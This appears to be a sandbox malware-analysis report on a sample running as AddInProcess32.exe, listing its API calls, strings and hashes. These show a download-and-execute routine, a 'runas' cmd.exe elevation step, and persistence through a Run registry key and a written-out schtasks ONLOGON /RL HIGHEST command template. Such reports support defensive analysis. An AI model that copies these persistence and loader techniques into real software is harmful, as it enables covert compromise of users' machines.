API String ID: 0-2351511683
Opcode ID: 7c824580947e9e97bdf295cb2d4520de3b7ca1b401215fb0b8824ce157e2b200
Instruction ID: 1c2912caf6facb623d53ba8d8ebe604ff0b1d5acbe9788ccfbcea0f2a0608340
Opcode Fuzzy Hash: 7c824580947e9e97bdf295cb2d4520de3b7ca1b401215fb0b8824ce157e2b200
Instruction Fuzzy Hash: 0501BC317401048F8FA88E2DC580A2573EAEF8CA68725456AE605CB378DF31DC42C785

Analysis Process: AddInProcess32.exePID: 2972, Parent PID: 6512COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3%
Total number of Nodes:	1843
Total number of Limit Nodes:	33

Executed Functions

Function 00401A80 Relevance: 96.8, APIs: 20, Strings: 35, Instructions: 535
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 00401E2D
lstrlenW.KERNEL32(00000000), ref: 00401E34
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,00000000,00000000), ref: 00401E46
RegCloseKey.ADVAPI32(?), ref: 00401E4F
GetProcessHeap.KERNEL32(00000008,0000020A,7591F380,00000000,00000000), ref: 00401E73
HeapAlloc.KERNEL32(00000000), ref: 00401E76
GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00401E88
GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00401EA3
HeapAlloc.KERNEL32(00000000), ref: 00401EA6
wsprintfW.USER32 ref: 0040204E
GetProcessHeap.KERNEL32(00000008,0000020A), ref: 0040205E
HeapAlloc.KERNEL32(00000000), ref: 00402061
wsprintfW.USER32 ref: 00402449
ShellExecuteW.SHELL32(00000000,runas,?,?,00000000,00000000), ref: 0040246A
GetProcessHeap.KERNEL32(00000000,?), ref: 00402478
HeapFree.KERNEL32(00000000), ref: 0040247B
GetProcessHeap.KERNEL32(00000000,?), ref: 00402480
HeapFree.KERNEL32(00000000), ref: 00402483
GetProcessHeap.KERNEL32(00000000,?), ref: 0040248D
HeapFree.KERNEL32(00000000), ref: 00402490

Strings

", xrefs: 00402126
/c "%s", xrefs: 00402104
#, xrefs: 00402156
L, xrefs: 0040219E
N, xrefs: 004021B2
need dictionary, xrefs: 0040229A
L, xrefs: 004021F8
;, xrefs: 00401C05
C, xrefs: 004021BC
b, xrefs: 00401EF9
i, xrefs: 00401F80
L, xrefs: 0040216E
I, xrefs: 004021A8
cmd.exe, xrefs: 0040222A
%, xrefs: 004021FF
N, xrefs: 004021D0
runas, xrefs: 00402073, 00402463
L, xrefs: 004020DE
%s\schtasks.exe, xrefs: 00401AA6
$, xrefs: 00402206
/create /sc ONLOGON /tn "%s" /tr "%s" /RL HIGHEST, xrefs: 00401C58, 00401EEF
>, xrefs: 004021EE
?, xrefs: 0040220D
#, xrefs: 0040213E
$, xrefs: 00401C77
invalid literal/length code, xrefs: 00402326
?, xrefs: 00401F65
b, xrefs: 00401EDE
y, xrefs: 00401F14
invalid distance code, xrefs: 004023F0
L, xrefs: 004021E4
p, xrefs: 00401F2F
z, xrefs: 00401F4A
l, xrefs: 00402069
L, xrefs: 0040210E

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Heap$Process$AllocFree$wsprintf$CloseDirectoryExecuteOpenShellSystemValuelstrlen
String ID: "$#$#$$$$$%$%s\schtasks.exe$/c "%s"$/create /sc ONLOGON /tn "%s" /tr "%s" /RL HIGHEST$;$>$?$?$C$I$L$L$L$L$L$L$N$N$b$b$cmd.exe$i$invalid distance code$invalid literal/length code$l$need dictionary$p$runas$y$z
API String ID: 2564131513-3794329617
Opcode ID: 04f389ca7741c3945aa586c21f7cf16ee9636da73d18371d90bdc4e067ade90d
Instruction ID: c7f21fddc8ea59a5295c2fb286fd8e4a5c2df640abba276a52794d12d8862d0e
Opcode Fuzzy Hash: 04f389ca7741c3945aa586c21f7cf16ee9636da73d18371d90bdc4e067ade90d
Instruction Fuzzy Hash: DB42E168810369D9C720AFA2E8047FAB7F0FF2D745F419066E988EB560F3784985DB1D

Function 00401420 Relevance: 49.3, APIs: 22, Strings: 6, Instructions: 294
memorysleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00401460
HeapAlloc.KERNEL32(00000000), ref: 00401463
Sleep.KERNEL32(000003E8), ref: 004014AD
ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000104), ref: 004014E3
SHCreateDirectoryExW.SHELL32(00000000,00000000,00000000), ref: 004014EE
SetFileAttributesW.KERNEL32(00000000,00000002), ref: 00401506
GetProcessHeap.KERNEL32(00000008,0000020A,00000000,00000000,000000FF,?), ref: 004015B9
HeapAlloc.KERNEL32(00000000), ref: 004015BC
PathCombineW.SHLWAPI(00000000,?,?), ref: 004015D6
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040160E
HeapFree.KERNEL32(00000000), ref: 00401611
lstrcatW.KERNEL32(00000000,?), ref: 00401760
PathFileExistsW.SHLWAPI(00000000), ref: 00401767
GetCurrentProcess.KERNEL32(00000008,?), ref: 00401786
OpenProcessToken.ADVAPI32(00000000), ref: 0040178D
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 004017B0
CloseHandle.KERNEL32(?), ref: 004017C2

Part of subcall function 004025B0: InternetOpenW.WININET(00000000,00000000,00000000,00000000,04000000), ref: 004025E1
Part of subcall function 004025B0: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004025FB
Part of subcall function 004025B0: InternetReadFile.WININET(00000000,?,00000800,FFFFFFFF), ref: 00402644
Part of subcall function 004025B0: GetProcessHeap.KERNEL32(00000008,0000000100000000), ref: 0040265A
Part of subcall function 004025B0: HeapAlloc.KERNEL32(00000000), ref: 0040265D
Part of subcall function 004025B0: GetProcessHeap.KERNEL32(00000008,FFFFFFFF), ref: 004026AA
Part of subcall function 004025B0: RtlAllocateHeap.NTDLL(00000000), ref: 004026AD
Part of subcall function 004025B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004026D7
Part of subcall function 004025B0: RtlFreeHeap.NTDLL(00000000), ref: 004026DA
Part of subcall function 004025B0: InternetCloseHandle.WININET(?), ref: 004026E6
Part of subcall function 004025B0: InternetCloseHandle.WININET(?), ref: 004026F3

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000008,00000000,00000000,00000044,?), ref: 0040181B
CloseHandle.KERNEL32(?), ref: 00401831
CloseHandle.KERNEL32(?), ref: 00401839
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040183E
HeapFree.KERNEL32(00000000), ref: 00401841

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040164E
x, xrefs: 0040165D
Pst^t, xrefs: 004015D6
K, xrefs: 004016B1
V, xrefs: 004016C6
D, xrefs: 004017EA

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Heap$Process$CloseHandleInternet$AllocFileFreeOpen$CreatePathToken$AllocateAttributesCombineCurrentDirectoryEnvironmentExistsExpandInformationReadSleepStringslstrcat
String ID: D$K$Pst^t$Software\Microsoft\Windows\CurrentVersion\Run$V$x
API String ID: 4228357295-1170846629
Opcode ID: 09e7c342ff7ef1e8aa6c8c2914d6a13d771e8eda33ff2520deb63734306e375f
Instruction ID: 941f8200bb5dc01e3074ee4e512f6a8a68adff5b2a31c42b6da5280b9b9f5b68
Opcode Fuzzy Hash: 09e7c342ff7ef1e8aa6c8c2914d6a13d771e8eda33ff2520deb63734306e375f
Instruction Fuzzy Hash: C6C15274901219ABDB60AFA1DC487EE77B4FF08704F50806AF545FB2A0EB789D41CB59

Function 00401000 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 343
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpA.KERNEL32(00000000,?), ref: 004010A2
GetProcessHeap.KERNEL32(00000008,?), ref: 004010C7
HeapAlloc.KERNEL32(00000000), ref: 004010CE
lstrlenA.KERNEL32(M1Zw0w66GQYFi), ref: 004010EC
GetProcessHeap.KERNEL32(00000008,?), ref: 0040123C
HeapAlloc.KERNEL32(00000000), ref: 00401243
GetProcessHeap.KERNEL32(00000008,00000002), ref: 00401285
HeapAlloc.KERNEL32(00000000), ref: 0040128C
GetProcessHeap.KERNEL32(00000008,00000047), ref: 004012E7
HeapAlloc.KERNEL32(00000000), ref: 004012EE
GetProcessHeap.KERNEL32(00000008,00000047), ref: 00401333
HeapAlloc.KERNEL32(00000000), ref: 0040133A
GetProcessHeap.KERNEL32(00000008,00000047), ref: 0040137F
HeapAlloc.KERNEL32(00000000), ref: 00401386
GetProcessHeap.KERNEL32(00000008,00000049), ref: 004013E5
HeapAlloc.KERNEL32(00000000), ref: 004013EC

Strings

M1Zw0w66GQYFi, xrefs: 004010E7, 0040110D

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Heap$AllocProcess$lstrcmplstrlen
String ID: M1Zw0w66GQYFi
API String ID: 522894340-229323296
Opcode ID: ced7a56b3a61907fb8fe41de2cd97cbfb0ca110354a1c6c8f3752cb3cf85e2ed
Instruction ID: 7eaf7544914a4b63e10803f82ca2e1c8860f16828a002309d4904a98d064a725
Opcode Fuzzy Hash: ced7a56b3a61907fb8fe41de2cd97cbfb0ca110354a1c6c8f3752cb3cf85e2ed
Instruction Fuzzy Hash: 69D1E571C041659FDB14CFA9C8946FABBF4AF1D310F1881BAE895A7342D6389A05CBA4

Function 004025B0 Relevance: 19.6, APIs: 13, Instructions: 108
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00000000,00000000,00000000,00000000,04000000), ref: 004025E1
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004025FB
InternetReadFile.WININET(00000000,?,00000800,FFFFFFFF), ref: 00402644
GetProcessHeap.KERNEL32(00000008,0000000100000000), ref: 0040265A
HeapAlloc.KERNEL32(00000000), ref: 0040265D
GetProcessHeap.KERNEL32(00000000,00000000,0000000100000000), ref: 00402668
RtlReAllocateHeap.NTDLL(00000000), ref: 0040266B
GetProcessHeap.KERNEL32(00000008,FFFFFFFF), ref: 004026AA
RtlAllocateHeap.NTDLL(00000000), ref: 004026AD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004026D7
RtlFreeHeap.NTDLL(00000000), ref: 004026DA
InternetCloseHandle.WININET(?), ref: 004026E6
InternetCloseHandle.WININET(?), ref: 004026F3

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Heap$Internet$Process$AllocateCloseHandleOpen$AllocFileFreeRead
String ID:
API String ID: 1681177425-0
Opcode ID: 99fa4245f036d7ca7f0a99e565945882106ecdf69a0e089de33d57685f3b7670
Instruction ID: 279d8a5f81a2e8e77284af958758153dca1b73d3fdef49649256d379fc70e3f9
Opcode Fuzzy Hash: 99fa4245f036d7ca7f0a99e565945882106ecdf69a0e089de33d57685f3b7670
Instruction Fuzzy Hash: 41312F71900119ABDB609B65DC4DF9ABBBCFF85714F00C1A5F548A2290DE709E85CFA4

Function 004069E0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 330
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,?,00000000,?,?,?,?,00000000,00000000,00000000), ref: 00406C6A
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00406CFF
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00406D8F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00406D96
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00406DA7

Strings

:, xrefs: 00406BF6
%s%s%s, xrefs: 00406C15
%s%s, xrefs: 00406C33

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: File$CloseHandle$CreateTimeWrite
String ID: %s%s$%s%s%s$:
API String ID: 3400595745-3034790606
Opcode ID: 98c9b71b694020488306e050b8bcd48454193dd243e4d79f583766080529faf7
Instruction ID: 5c485409a167992925fbe071c51fea0c94dd585c77c72435f2c53fcfd623a355
Opcode Fuzzy Hash: 98c9b71b694020488306e050b8bcd48454193dd243e4d79f583766080529faf7
Instruction Fuzzy Hash: 89B1C2716006159BDB20EF24C885BABB3B4EF04314F01057FE95BB72C1D738A9A4CB98

Function 00406830 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 004068B7
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000000), ref: 004068CB
GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 004069A7
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000000), ref: 004069BB

Strings

Pl@, xrefs: 004069C1

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: AttributesCreateDirectoryFile
String ID: Pl@
API String ID: 3401506121-745116313
Opcode ID: 2f29e6726891c44616fa55043902484a068493e373541bd7c6d0d08ede89516c
Instruction ID: ec1f5b360a55acec7d882f1d6c8891c8c9af4486f23bb7fef10e4ffc5149fcb3
Opcode Fuzzy Hash: 2f29e6726891c44616fa55043902484a068493e373541bd7c6d0d08ede89516c
Instruction Fuzzy Hash: 4451FAB190021857CB20EF69D885AEBB3A8EF44310F15467FE916E72C1EB349E64CB59

Function 00402710 Relevance: 4.6, APIs: 3, Instructions: 53
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401000: lstrcmpA.KERNEL32(00000000,?), ref: 004010A2
Part of subcall function 00401000: GetProcessHeap.KERNEL32(00000008,?), ref: 004010C7
Part of subcall function 00401000: HeapAlloc.KERNEL32(00000000), ref: 004010CE
Part of subcall function 00401000: lstrlenA.KERNEL32(M1Zw0w66GQYFi), ref: 004010EC

CreateMutexW.KERNEL32(00000000,00000000,?), ref: 00402731
GetLastError.KERNEL32 ref: 00402737
ExitProcess.KERNEL32 ref: 0040277F

Part of subcall function 004024B0: GetCurrentProcess.KERNEL32(00000008,?), ref: 004024CC
Part of subcall function 004024B0: OpenProcessToken.ADVAPI32(00000000), ref: 004024D3
Part of subcall function 004024B0: GetTokenInformation.ADVAPI32(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 004024F3
Part of subcall function 004024B0: CloseHandle.KERNEL32(?), ref: 00402502

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Process$HeapToken$AllocCloseCreateCurrentErrorExitHandleInformationLastMutexOpenlstrcmplstrlen
String ID:
API String ID: 2480484397-0
Opcode ID: 7ed43953da3f1d17e2b94cd265ab11a27986ec2db529bb376a53c88e9eace196
Instruction ID: cabc20e52d63fbaf5835a872110fa228d1b8c25b3e59d728fc3075fda0be40b5
Opcode Fuzzy Hash: 7ed43953da3f1d17e2b94cd265ab11a27986ec2db529bb376a53c88e9eace196
Instruction Fuzzy Hash: BD01D6301083019BDB14AF51DD0DB6EB791AF84345F00893EF994621E0EBB88954C7AB

Function 0040D8F2 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,7591F380,00000000,?,0040F219,00000001,00000364,00000000,00000006,000000FF,?,0040718C,00000000,?,00406E07,0000044C), ref: 0040D933

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0e19913d1ecff6e60680035eae04c32c323cb32b047577f130201fc95c97fb0b
Instruction ID: 3b163e85c33e1a3503c65bd554a4f98c0f2ee5239ac5b29bff1cde8fd44bdab8
Opcode Fuzzy Hash: 0e19913d1ecff6e60680035eae04c32c323cb32b047577f130201fc95c97fb0b
Instruction Fuzzy Hash: F0F0B472E01124A6DB225EE29C05B6B3B58AF81760B148177E804B72D4CA38DD0986AC

Function 0040DC7F Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00000000,?,0040718C,00000000,?,00406E07,0000044C,A2C859C2,7591F380,00000000,00000000,000000FF,?,004014D5), ref: 0040DCB1

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 03c37d2a1fd8ff6a03587279802e86b92029074b3fd401b0eb709b4195d61d0d
Instruction ID: 1c94c52fd2da5dd860f1ac26d2e848129022307c2b84a0b6717adfd0f47dcc89
Opcode Fuzzy Hash: 03c37d2a1fd8ff6a03587279802e86b92029074b3fd401b0eb709b4195d61d0d
Instruction Fuzzy Hash: F5E06531D4822457FA2137EA9C04B5B7A589F417B4F150177EC16B62D0CBBCDC0AC1AD

Non-executed Functions

Function 00412340 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee952e25a22fe5600719e129e6a69d76954a32707930552934fc297b8667f3ce
Instruction ID: 6d4369275cd833c3962ce4f0f9f5d870733270a8750b4c026c80256ecd2f67c0
Opcode Fuzzy Hash: ee952e25a22fe5600719e129e6a69d76954a32707930552934fc297b8667f3ce
Instruction Fuzzy Hash: 26024D71E002199BDF14CFA9CA806EEFBB1FF48314F24826AD519E7380D775A991CB94

Function 00407884 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00407890
IsDebuggerPresent.KERNEL32 ref: 0040795C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00407975
UnhandledExceptionFilter.KERNEL32(?), ref: 0040797F

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 02910537eba6cd405f4cd1a7db5889c65aee9def55af4774f4fbecb6b8f9ad63
Instruction ID: eade7b54685adbf1ecf20fd789ded79bced50c1eba4a3a40bacbfb91bb774348
Opcode Fuzzy Hash: 02910537eba6cd405f4cd1a7db5889c65aee9def55af4774f4fbecb6b8f9ad63
Instruction Fuzzy Hash: 0031FA75D052189BDF20EF65D949BCDBBB8AF08304F1041AAE40DA7290EB749B84CF49

Function 0040D978 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0040DA70
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0040DA7A
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0040DA87

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9ed16ef9779c02d6e7f4fb2c8675fdadbdadcb388720d3868958c3f84562015f
Instruction ID: c7764d1188791cd03cf770f2f04546622c67af5315fd6fbd065365adde8131cf
Opcode Fuzzy Hash: 9ed16ef9779c02d6e7f4fb2c8675fdadbdadcb388720d3868958c3f84562015f
Instruction Fuzzy Hash: AF31D674D012189BCB21DF68DD88BCDBBB8BF08310F5041EAE41CA6290EB749F858F49

Function 00407B48 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00407B5E

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: b3cd3010069134bdc06a26e374721fbc531fc9ea41cd9c4665c6601caa254926
Instruction ID: 58ffa6e5a28285f7a82ae90fda48af03ad9a69f9ab68bac074e952613a0c915f
Opcode Fuzzy Hash: b3cd3010069134bdc06a26e374721fbc531fc9ea41cd9c4665c6601caa254926
Instruction Fuzzy Hash: DB516A71E08205ABEB28CF59D9817AEB7F0FB88350F24843AC401EB390D3B8A941CF55

Function 0040F905 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2ad18ca5c3d4d14ae8de392ef5d2c438218ed5be53967046802c2e44fbb3421
Instruction ID: eae7a6d73dca6622784a838d1c93183e6f7f5f6df23da42e9fec07ca66b2767c
Opcode Fuzzy Hash: f2ad18ca5c3d4d14ae8de392ef5d2c438218ed5be53967046802c2e44fbb3421
Instruction Fuzzy Hash: 8F31E872A00219BFDB30DFB9CC84EAB777DEB84314F144179F805A7280E6349E448B54

Function 00407A11 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007A1D,00407271), ref: 00407A16

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 44269f2e51ee6e50175b1f6b701cc95c6819a78785e7297dcbae5f3461c54587
Instruction ID: 745af6bd67f1f6922f24c1edbd32b4250088bcabdc2796110c06f40ed49b9581
Opcode Fuzzy Hash: 44269f2e51ee6e50175b1f6b701cc95c6819a78785e7297dcbae5f3461c54587
Instruction Fuzzy Hash:

Function 00402520 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00402534
HeapAlloc.KERNEL32(00000000), ref: 0040253D
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 0040254A
GetProcessHeap.KERNEL32(00000008,0000026A), ref: 00402557
HeapAlloc.KERNEL32(00000000), ref: 0040255A
wsprintfW.USER32 ref: 00402567
ShellExecuteW.SHELL32(00000000,runas,cmd.exe,00000000,00000000,00000000), ref: 00402587
GetProcessHeap.KERNEL32(00000000,?), ref: 00402593
HeapFree.KERNEL32(00000000), ref: 0040259C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004025A1
HeapFree.KERNEL32(00000000), ref: 004025A4
ExitProcess.KERNEL32 ref: 004025A8

Strings

/c "%s", xrefs: 00402561
cmd.exe, xrefs: 0040257B
runas, xrefs: 00402580

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Heap$Process$AllocFree$ExecuteExitFileModuleNameShellwsprintf
String ID: /c "%s"$cmd.exe$runas
API String ID: 3385381366-213241364
Opcode ID: dd824fdd94ba376a0c3559ff4f8246cb293e2107b4e837f293defc75e496ff9b
Instruction ID: 441fa4a2bb8c3f1e8e22662644751f9d018fb7d5a55d2b99290a6bc814c1ff6f
Opcode Fuzzy Hash: dd824fdd94ba376a0c3559ff4f8246cb293e2107b4e837f293defc75e496ff9b
Instruction Fuzzy Hash: 7D014F71E803147BF61067E29D5EF9B7E6CFB48B91F104011F708A71D0C9B45D40CA69

Function 00401860 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 157memoryprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 004025B0: InternetOpenW.WININET(00000000,00000000,00000000,00000000,04000000), ref: 004025E1
Part of subcall function 004025B0: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004025FB
Part of subcall function 004025B0: InternetReadFile.WININET(00000000,?,00000800,FFFFFFFF), ref: 00402644
Part of subcall function 004025B0: GetProcessHeap.KERNEL32(00000008,0000000100000000), ref: 0040265A
Part of subcall function 004025B0: HeapAlloc.KERNEL32(00000000), ref: 0040265D
Part of subcall function 004025B0: GetProcessHeap.KERNEL32(00000008,FFFFFFFF), ref: 004026AA
Part of subcall function 004025B0: RtlAllocateHeap.NTDLL(00000000), ref: 004026AD
Part of subcall function 004025B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004026D7
Part of subcall function 004025B0: RtlFreeHeap.NTDLL(00000000), ref: 004026DA
Part of subcall function 004025B0: InternetCloseHandle.WININET(?), ref: 004026E6
Part of subcall function 004025B0: InternetCloseHandle.WININET(?), ref: 004026F3

GetProcessHeap.KERNEL32(00000000,0000020A), ref: 004018A0
HeapAlloc.KERNEL32(00000000), ref: 004018A3
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000023,00000000), ref: 004018B6

Part of subcall function 00406DD0: GetCurrentDirectoryW.KERNEL32(00000103,00000244,?,?,?,00000000,000000FF), ref: 00406E5D

GetProcessHeap.KERNEL32(00000008,0000020A,00000000,00000000,000000FF,?), ref: 00401989
HeapAlloc.KERNEL32(00000000), ref: 0040198C
PathCombineW.SHLWAPI(00000000,?,?), ref: 004019AA
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000008,00000000,00000000,00000044,?,?,00000000,00000000), ref: 00401A1A
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 00401A2A
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 00401A36
GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00401A45
HeapFree.KERNEL32(00000000,?,00000000,00000000), ref: 00401A48

Strings

Pst^t, xrefs: 004019AA
D, xrefs: 004019E9

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Heap$Process$Internet$CloseHandle$Alloc$FreeOpenPath$AllocateCombineCreateCurrentDirectoryFileFolderReadSpecial
String ID: D$Pst^t
API String ID: 2613224297-4293525912
Opcode ID: f45c2ff5cb1f318ad88f7d26c71e491d3b541212b48ab92155e39b477564583e
Instruction ID: fd4bbc4ba79f2eb052b05b6cd251ed72691743f5e14ceb61becbe3eb516d8304
Opcode Fuzzy Hash: f45c2ff5cb1f318ad88f7d26c71e491d3b541212b48ab92155e39b477564583e
Instruction Fuzzy Hash: 1751B371A012189BDB20AF60CC59BAA7778FF44700F1041BAF54ABB2E0DB789D40CF59

Function 00408CBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00408DDA
___TypeMatch.LIBVCRUNTIME ref: 00408EE8
_UnwindNestedFrames.LIBCMT ref: 0040903A
